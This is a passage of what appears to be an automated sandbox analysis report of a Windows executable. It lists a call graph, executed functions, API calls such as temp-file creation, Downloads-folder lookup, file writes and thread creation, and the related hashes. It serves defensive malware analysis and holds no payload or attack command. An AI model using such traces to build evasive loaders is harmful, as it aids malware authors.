10208->7863 10209->7865 10210->7869 10211->7877 10212->7883 10213->7885 10214->7892 10215->7894 10216->7896 10217->7898 10218->7902 10219->7908 10220->7910 10221->7912 10222->7914 10223->7918 10224->7924 10225->7930 10226->7936 10227->7938 10228->7944 10229->7950 10474 406289 10475 406290 10474->10475 10475->10475 10478 40e3f0 TlsGetValue 10475->10478 10477 4062b5 10478->10477 10250 40b020 10251 40b127 10250->10251 10252 40b03a 10250->10252 10253 40b040 SetFilePointer 10252->10253 10254 40b06b 10252->10254 10253->10254 10256 40aa40 WriteFile 10254->10256 10258 40b077 10254->10258 10255 40b0a7 10257 40b0ee 10256->10257 10257->10258 10259 40b0f5 WriteFile 10257->10259 10258->10255 10260 40b091 memcpy 10258->10260 10637 401f3b 10638 40dfc0 21 API calls 10637->10638 10639 401f43 10638->10639 10660 40de80 GetLastError TlsGetValue SetLastError 10639->10660 10641 401f49 10661 40de80 GetLastError TlsGetValue SetLastError 10641->10661 10643 401f5a 10644 40e020 4 API calls 10643->10644 10645 401f62 10644->10645 10662 40de80 GetLastError TlsGetValue SetLastError 10645->10662 10647 401f68 10663 40de80 GetLastError TlsGetValue SetLastError 10647->10663 10649 401f70 10664 409b10 10649->10664 10653 401f7d 10668 405182 TlsGetValue 10653->10668 10655 401f88 10656 408e27 20 API calls 10655->10656 10657 401f91 10656->10657 10658 4051a0 3 API calls 10657->10658 10659 401f96 10658->10659 10659->10659 10660->10641 10661->10643 10662->10647 10663->10649 10669 409aa0 10664->10669 10667 40e080 TlsGetValue 10667->10653 10668->10655 10670 409ab0 10669->10670 10670->10670 10671 40e260 3 API calls 10670->10671 10672 401f77 10671->10672 10672->10667

                                                                                  Executed Functions

                                                                                  Function 0040A83A Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 91libraryloaderCOMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 0 40a83a-40a858 call 40e260 3 40a8e9-40a8ec 0->3 4 40a85e-40a86d LoadLibraryW 0->4 7 40a91d-40a92f call 40e3f0 3->7 8 40a8ee 3->8 5 40a8cb-40a8e7 call 40a96c wcscat wcslen 4->5 6 40a86f-40a882 GetProcAddress 4->6 27 40a91b 5->27 9 40a8c0-40a8c9 FreeLibrary 6->9 10 40a884-40a894 6->10 8->7 13 40a901-40a903 8->13 14 40a911 8->14 15 40a914-40a916 call 40a96c 8->15 16 40a8f5-40a8f7 8->16 17 40a905-40a907 8->17 18 40a8f9-40a8fb 8->18 19 40a909-40a90b 8->19 20 40a8fd-40a8ff 8->20 21 40a90d-40a90f 8->21 9->5 9->7 10->9 28 40a896-40a8ba wcscpy wcscat wcslen CoTaskMemFree 10->28 22 40a913 13->22 14->22 15->27 16->22 17->22 18->22 19->22 20->22 21->22 22->15 27->7 28->9
                                                                                  APIs
                                                                                    • Part of subcall function 0040E260: TlsGetValue.KERNEL32(0000000D,00001000,00000000,00000000), ref: 0040E26C
                                                                                    • Part of subcall function 0040E260: HeapReAlloc.KERNEL32(00940000,00000000,?,?), ref: 0040E2C7
                                                                                  • LoadLibraryW.KERNEL32(Shell32.DLL,00000104,?,?,?,?,00000009,00403791,00000001,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0040A863
                                                                                  • GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 0040A875
                                                                                  • wcscpy.MSVCRT ref: 0040A89B
                                                                                  • wcscat.MSVCRT ref: 0040A8A6
                                                                                  • wcslen.MSVCRT ref: 0040A8AC
                                                                                  • CoTaskMemFree.OLE32(?,00000000,00000000,?,00948F58,00000000,00000000), ref: 0040A8BA
                                                                                  • FreeLibrary.KERNEL32(00000000,?,?,?,00000009,00403791,00000001,00000000,00000000,00000000,?,00000000,00000000,00000000,004046B8,00000000), ref: 0040A8C1
                                                                                  • wcscat.MSVCRT ref: 0040A8D9
                                                                                  • wcslen.MSVCRT ref: 0040A8DF
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: FreeLibrarywcscatwcslen$AddressAllocHeapLoadProcTaskValuewcscpy
                                                                                  • String ID: Downloads\$SHGetKnownFolderPath$Shell32.DLL
                                                                                  • API String ID: 1740785346-287042676
                                                                                  • Opcode ID: ace73f6e0916171b361586c2bbf184c955ba55397e49a90223a244ca9597bb20
                                                                                  • Instruction ID: ae609db33c227b916d8c96984f24cc4820d8d1ee700964f601e6ad2a5a3ba7d8
                                                                                  • Opcode Fuzzy Hash: ace73f6e0916171b361586c2bbf184c955ba55397e49a90223a244ca9597bb20
                                                                                  • Instruction Fuzzy Hash: C821F871344701B6D2303B62EC4EF6F2A78DB91B90F11483BF901B51D2D6BC8A6199AF
                                                                                  Function 0040195B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 168COMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  APIs
                                                                                    • Part of subcall function 0040DFC0: TlsGetValue.KERNEL32(0000000D,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,00417070,00000008,0000000C), ref: 0040DFD7
                                                                                  • GetTempFileNameW.KERNEL32(?,00417024,00000000,00000000,?,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000,004043B9), ref: 00401A2A
                                                                                  • GetTempFileNameW.KERNEL32(00417024,00000000,00000000,00000000,?,00000000,00000000,?,00417024,00000000,00000000,?,00000000,00000000,00000400,00000000), ref: 00401A7F
                                                                                  • GetTempFileNameW.KERNEL32(00417024,00000000,00000000,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,?,00417024), ref: 00401AD4
                                                                                  • PathAddBackslashW.SHLWAPI(00417024,00000000,00000000,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,?,00417024), ref: 00401ADF
                                                                                  • PathRenameExtensionW.SHLWAPI(?,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000), ref: 00401B1E
                                                                                  • GetTempFileNameW.KERNEL32(00417024,00000000,00000000,?,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,00417024), ref: 00401B38
                                                                                    • Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
                                                                                    • Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
                                                                                    • Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB
                                                                                    • Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
                                                                                    • Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(00940000,00000000,?), ref: 0040DEF9
                                                                                    • Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037
                                                                                    • Part of subcall function 0040DEC0: RtlReAllocateHeap.NTDLL(00940000,00000000,?,?), ref: 0040DF1C
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: FileNameTemp$Value$AllocateErrorHeapLastPath$BackslashExtensionRenamewcslen
                                                                                  • String ID: $pA$$pA$$pA$$pA
                                                                                  • API String ID: 368575804-1531182785
                                                                                  • Opcode ID: a7855c2fcb8ff53b5addb0dc43bc834e5fe5e71e8a4854cba452ae3e114c04c7
                                                                                  • Instruction ID: 28b0c429ac0839269b991b7b7970ea1d3eb295239ca2258b2b80e935eceb64c8
                                                                                  • Opcode Fuzzy Hash: a7855c2fcb8ff53b5addb0dc43bc834e5fe5e71e8a4854cba452ae3e114c04c7
                                                                                  • Instruction Fuzzy Hash: CD510AB1514600AED600BBB1EC4297F7B7EEB98319F01883FF544690A2CA3D985D9A6D
                                                                                  Function 00401000 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 104memoryCOMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  APIs
                                                                                  • memset.MSVCRT ref: 0040100F
                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 0040101C
                                                                                  • HeapCreate.KERNEL32(00000000,00001000,00000000,00000000), ref: 00401035
                                                                                    • Part of subcall function 0040DE30: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00401053,00000000,00001000,00000000,00000000), ref: 0040DE3C
                                                                                    • Part of subcall function 0040DE30: TlsAlloc.KERNEL32(?,00401053,00000000,00001000,00000000,00000000), ref: 0040DE47
                                                                                    • Part of subcall function 00409B40: HeapCreate.KERNEL32(00000000,00001000,00000000,0040106C,00000000,00001000,00000000,00000000), ref: 00409B49
                                                                                    • Part of subcall function 00409669: InitializeCriticalSection.KERNEL32(004186D0,00000004,00000004,0040963C,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 00409691
                                                                                    • Part of subcall function 00408DEE: memset.MSVCRT ref: 00408DFB
                                                                                    • Part of subcall function 00408DEE: InitCommonControlsEx.COMCTL32(00000008,00001000), ref: 00408E15
                                                                                    • Part of subcall function 00408DEE: CoInitialize.OLE32(00000000), ref: 00408E1D
                                                                                    • Part of subcall function 004053BB: InitializeCriticalSection.KERNEL32(004186A8,0040107B,00000000,00001000,00000000,00000000), ref: 004053C0
                                                                                  • GetStdHandle.KERNEL32(FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040109A
                                                                                    • Part of subcall function 00409DE0: HeapAlloc.KERNEL32(00000000,0000003C,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409DFF
                                                                                    • Part of subcall function 00409DE0: HeapAlloc.KERNEL32(00000008,00000015,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409E25
                                                                                    • Part of subcall function 00409DE0: HeapAlloc.KERNEL32(00000008,FFFFFFED,FFFFFFED,00000010,00010000,00000004,00000200,?,?,?,?,004010C3,00000004,00000015,00000000,00000200), ref: 00409E82
                                                                                    • Part of subcall function 0040A3DA: HeapFree.KERNEL32(00000000,?,?,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000), ref: 0040A418
                                                                                    • Part of subcall function 0040A3DA: HeapFree.KERNEL32(00000000,?,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000), ref: 0040A431
                                                                                    • Part of subcall function 0040A3DA: HeapFree.KERNEL32(00000000,00000000,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000), ref: 0040A43B
                                                                                    • Part of subcall function 0040A348: HeapAlloc.KERNEL32(00000000,00000034,?,?,?,004010E9,00000008,00000000,00417078,00000007,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 0040A35B
                                                                                    • Part of subcall function 0040A348: HeapAlloc.KERNEL32(FFFFFFF5,00000008,?,?,?,004010E9,00000008,00000000,00417078,00000007,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 0040A370
                                                                                    • Part of subcall function 0040DBCA: RtlAllocateHeap.NTDLL(00000000,FFFFFFDD,?,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,00417080,00418098,00000004,00000000,00417070), ref: 0040DBFA
                                                                                    • Part of subcall function 0040DBCA: memset.MSVCRT ref: 0040DC35
                                                                                    • Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
                                                                                    • Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
                                                                                    • Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB
                                                                                    • Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
                                                                                    • Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(00940000,00000000,?), ref: 0040DEF9
                                                                                    • Part of subcall function 00401B8F: LoadLibraryExW.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00418048,00000000), ref: 00401BCD
                                                                                    • Part of subcall function 00401B8F: EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 00401BEA
                                                                                    • Part of subcall function 00401B8F: FreeLibrary.KERNEL32(?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00418048), ref: 00401BF2
                                                                                  • HeapDestroy.KERNEL32(00000000,00418048,00000000,00000000,00000004,00000000,00417070,00000008,0000000C,000186A1,00000007,00417080,00418098,00000004,00000000,00417070), ref: 004011B5
                                                                                  • ExitProcess.KERNEL32(00000000,00418048,00000000,00000000,00000004,00000000,00417070,00000008,0000000C,000186A1,00000007,00417080,00418098,00000004,00000000,00417070), ref: 004011BA
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Heap$Alloc$Free$CreateInitializememset$AllocateCriticalErrorHandleLastLibrarySectionValue$CommonControlsDestroyEnumExitInitLoadModuleProcessResourceTypes
                                                                                  • String ID: .pA$:pA
                                                                                  • API String ID: 2062415080-1142403416
                                                                                  • Opcode ID: aeb853c391caed1c2c3882624e056ccfb4376f2f5b63a4476772703c942bec8d
                                                                                  • Instruction ID: 59fd392a0a4490bdbbe753bcbaae00d60dcbf108960a32b110b84fea6de29b28
                                                                                  • Opcode Fuzzy Hash: aeb853c391caed1c2c3882624e056ccfb4376f2f5b63a4476772703c942bec8d
                                                                                  • Instruction Fuzzy Hash: 6C313070A80704A9D210B7F29D43F9E3A25AB1874DF51843FB644790E3CEBC55489A6F
                                                                                  Function 00403DF3 Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 640COMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 176 403df3-403df4 177 403df9-403e04 176->177 177->177 178 403e06-403e1c call 40dfc0 177->178 181 403e1e-403e26 178->181 182 403e28-403e8a call 40de80 * 2 call 405dc0 call 40dec0 call 40de80 call 40e020 * 2 call 40dec0 181->182 183 403e8c-403e9d 181->183 182->181 182->183 185 403e9f-403ea7 183->185 187 403ea9-403f0b call 40de80 * 2 call 405dc0 call 40dec0 call 40de80 call 40e020 * 2 call 40dec0 185->187 188 403f0d-403f1e 185->188 187->185 187->188 191 403f20-403f28 188->191 194 403f2a-403f8c call 40de80 * 2 call 405dc0 call 40dec0 call 40de80 call 40e020 * 2 call 40dec0 191->194 195 403f8e-403f9f 191->195 194->191 194->195 199 403fa1-403fa9 195->199 203 403fab-40400d call 40de80 * 2 call 405dc0 call 40dec0 call 40de80 call 40e020 * 2 call 40dec0 199->203 204 40400f-404020 199->204 203->199 203->204 209 404022-40402a 204->209 214 404090-4040a1 209->214 215 40402c-404086 call 40de80 * 2 call 405dc0 call 40dec0 call 40de80 call 40e020 * 2 call 40dec0 209->215 221 4040a3-4040ab 214->221 336 40408b-40408e 215->336 227 404115-404126 221->227 228 4040ad-404113 call 40de80 * 2 call 405dc0 call 40dec0 call 40de80 call 40e020 * 2 call 40dec0 221->228 230 404128-404130 227->230 228->221 228->227 238 404132-404198 call 40de80 * 2 call 405dc0 call 40dec0 call 40de80 call 40e020 * 2 call 40dec0 230->238 239 40419a-4041ab 230->239 238->230 238->239 248 4041ad-4041b5 239->248 257 4041b7-404215 call 40de80 * 2 call 405dc0 call 40dec0 call 40de80 call 40e020 * 2 call 40dec0 248->257 258 40421f-404230 248->258 361 40421a-40421d 257->361 268 404232-40423a 258->268 278 4042a4-4044ef call 40de80 call 40e020 * 2 call 40dec0 call 40de80 call 403275 call 40dec0 call 40985e GetModuleHandleW call 40de80 * 4 call 40d100 call 405182 call 405eb0 call 40dec0 call 40de80 * 4 call 40d100 call 405182 call 405eb0 call 40dec0 call 402e9d call 40de80 call 4021a4 call 4051a0 call 40195b call 40460e call 40de80 call 405100 call 40358d call 40dec0 PathRemoveBackslashW call 40213e call 40de80 * 2 call 402bfa call 40e080 call 405182 call 4098c0 call 4051a0 call 40de80 call 40e020 * 2 call 40dec0 call 40de80 call 401e55 call 40dec0 call 403855 call 40de80 call 40e020 call 40dec0 PathQuoteSpacesW call 40de80 call 40e020 * 3 call 40dec0 PathQuoteSpacesW 268->278 279 40423c-4042a2 call 40de80 * 2 call 405dc0 call 40dec0 call 40de80 call 40e020 * 2 call 40dec0 268->279 468 4044f1-404507 call 405492 278->468 469 404509-40450d call 402ca9 278->469 279->268 279->278 336->209 336->214 361->248 361->258 473 404512-404596 call 40de80 * 2 call 40e020 * 3 call 40e080 call 40de80 * 2 call 40a7f5 call 40e080 call 40de80 call 40e020 * 2 call 405182 * 3 call 402022 468->473 469->473 507 40459b-40460d call 4051a0 call 401fa9 call 40df50 * 10 473->507
                                                                                  APIs
                                                                                    • Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
                                                                                    • Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(00940000,00000000,?), ref: 0040DEF9
                                                                                    • Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
                                                                                    • Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
                                                                                    • Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB
                                                                                    • Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037
                                                                                    • Part of subcall function 0040DEC0: RtlReAllocateHeap.NTDLL(00940000,00000000,?,?), ref: 0040DF1C
                                                                                  • GetModuleHandleW.KERNEL32(00000000,?,?,?,00000000,00000000,?,00948F58,00000000,00000000), ref: 004042FB
                                                                                  • PathRemoveBackslashW.SHLWAPI(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 004043F4
                                                                                    • Part of subcall function 00402BFA: GetShortPathNameW.KERNEL32(00948F58,00948F58,00002710), ref: 00402C34
                                                                                    • Part of subcall function 0040E080: TlsGetValue.KERNEL32(0000000D,?,?,00401DCE,00000000,00000000,00000000,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000), ref: 0040E08A
                                                                                    • Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189
                                                                                    • Part of subcall function 004098C0: SetEnvironmentVariableW.KERNEL32(00948F58,00948F58,00404434,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004098D9
                                                                                    • Part of subcall function 00401E55: PathQuoteSpacesW.SHLWAPI(?,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00404476,00000000,00000000,00000000,00948F58,00948968,00000000,00000000), ref: 00401E8A
                                                                                  • PathQuoteSpacesW.SHLWAPI(00000000,00000001,009489E0,00000000,00000000,00000000,00000000,00000000,00948F58,00948968,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004044A7
                                                                                  • PathQuoteSpacesW.SHLWAPI(00000000,00000000,00000000,0041702A,00000000,00000000,00000000,00000001,009489E0,00000000,00000000,00000000,00000000,00000000,00948F58,00948968), ref: 004044E1
                                                                                    • Part of subcall function 00405492: CreateThread.KERNEL32(00000000,00001000,?,?,00000000,00948F58), ref: 004054AB
                                                                                    • Part of subcall function 00405492: EnterCriticalSection.KERNEL32(004186A8,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054BD
                                                                                    • Part of subcall function 00405492: WaitForSingleObject.KERNEL32(00000008,00000000,00000000,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000), ref: 004054D4
                                                                                    • Part of subcall function 00405492: CloseHandle.KERNEL32(00000008,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054E0
                                                                                    • Part of subcall function 00405492: LeaveCriticalSection.KERNEL32(004186A8,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 00405523
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Path$Value$QuoteSpaces$AllocateCriticalErrorHandleHeapLastSection$BackslashCloseCreateEnterEnvironmentLeaveModuleNameObjectRemoveShortSingleThreadVariableWaitwcslen
                                                                                  • String ID: *pA$*pA$pA
                                                                                  • API String ID: 1881381519-978732049
                                                                                  • Opcode ID: ce5de05abebdf408f752614a87581667f3532eea130c2f8d7aa08e5aeff42770
                                                                                  • Instruction ID: c37fc5d70f496ddafb25d76fc072764247fdd107690a54ecab0fee76e679e4b9
                                                                                  • Opcode Fuzzy Hash: ce5de05abebdf408f752614a87581667f3532eea130c2f8d7aa08e5aeff42770
                                                                                  • Instruction Fuzzy Hash: 452219B5504700AED200BBB2D981A7F77BDEB94709F10CD3FF544AA192CA3CD8499B69
                                                                                  Function 0040A756 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40libraryloaderCOMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  APIs
                                                                                    • Part of subcall function 0040E260: TlsGetValue.KERNEL32(0000000D,00001000,00000000,00000000), ref: 0040E26C
                                                                                    • Part of subcall function 0040E260: HeapReAlloc.KERNEL32(00940000,00000000,?,?), ref: 0040E2C7
                                                                                  • GetTempPathW.KERNEL32(00000104,00000000,00000104,00000000,?,?,?,00000000,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000), ref: 0040A76D
                                                                                  • LoadLibraryW.KERNEL32(Kernel32.DLL,?,?,?,00000000,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040A77A
                                                                                  • GetProcAddress.KERNEL32(00000000,GetLongPathNameW), ref: 0040A78C
                                                                                  • GetLongPathNameW.KERNELBASE(00000000,00000000,00000104,?,?,?,00000000,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000), ref: 0040A799
                                                                                  • FreeLibrary.KERNEL32(00000000,?,?,?,00000000,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040A79E
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: LibraryPath$AddressAllocFreeHeapLoadLongNameProcTempValue
                                                                                  • String ID: GetLongPathNameW$Kernel32.DLL
                                                                                  • API String ID: 820969696-2943376620
                                                                                  • Opcode ID: b8ec294df8f0a0b8a7015009ae644d8128c9ee2ea3c72b3c91f3911898e9698a
                                                                                  • Instruction ID: 045e3bd93f30ce5257affd3ba06db84d60efd2c3f80f990f00f7183b84a9fd71
                                                                                  • Opcode Fuzzy Hash: b8ec294df8f0a0b8a7015009ae644d8128c9ee2ea3c72b3c91f3911898e9698a
                                                                                  • Instruction Fuzzy Hash: C0F0BE722052147FC2212BBAAC4CDAB3E7CDE96752700413AF905E2252EA79881082BD
                                                                                  Function 0040AAC0 Relevance: 9.2, APIs: 6, Instructions: 157filememoryCOMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 541 40aac0-40aad6 542 40aae0-40aaf3 call 40d498 541->542 543 40aad8 541->543 546 40aca2-40acab 542->546 547 40aaf9-40ab00 542->547 543->542 548 40ab02-40ab0a 547->548 549 40ab3e-40ab41 547->549 550 40ab11-40ab17 548->550 551 40ab0c 548->551 552 40ab43-40ab4b 549->552 553 40ab7c-40ab7f 549->553 554 40ab19 550->554 555 40ab1c-40ab39 CreateFileW 550->555 551->550 556 40ab52-40ab58 552->556 557 40ab4d 552->557 558 40ab81-40ab8d 553->558 559 40abe8 553->559 554->555 560 40abec-40abef 555->560 561 40ab5a 556->561 562 40ab5d-40ab7a CreateFileW 556->562 557->556 563 40ab98-40ab9e 558->563 564 40ab8f-40ab94 558->564 559->560 565 40abf5-40abf7 560->565 566 40ac8b 560->566 561->562 562->560 567 40aba0-40aba3 563->567 568 40aba7-40abc7 CreateFileW 563->568 564->563 565->566 571 40abfd-40ac04 565->571 569 40ac8f-40ac92 566->569 567->568 568->565 570 40abc9-40abe6 CreateFileW 568->570 572 40ac94 569->572 573 40ac96-40ac9d call 40d40a 569->573 570->560 574 40ac22 571->574 575 40ac06-40ac0c 571->575 572->573 573->546 578 40ac25-40ac52 574->578 575->574 577 40ac0e-40ac20 HeapAlloc 575->577 577->578 579 40ac70-40ac79 578->579 580 40ac54-40ac5a 578->580 582 40ac7b 579->582 583 40ac7d-40ac7f 579->583 580->579 581 40ac5c-40ac6a SetFilePointer 580->581 581->579 582->583 583->569 584 40ac81-40ac8a 583->584
                                                                                  APIs
                                                                                  • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,?,?,00000000,00000000), ref: 0040AB31
                                                                                  • CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000080,00000000,?,?,?,?,00000000,00000000), ref: 0040AB72
                                                                                  • CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00000000,00000000), ref: 0040ABBC
                                                                                  • CreateFileW.KERNEL32(?,40000000,?,00000000,00000005,00000000,00000000,?,?,?,00000000,00000000), ref: 0040ABDE
                                                                                  • HeapAlloc.KERNEL32(00000000,00001000,?,?,?,?,00000000,00000000), ref: 0040AC17
                                                                                  • SetFilePointer.KERNEL32(?,00000000,?,00000002), ref: 0040AC6A
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
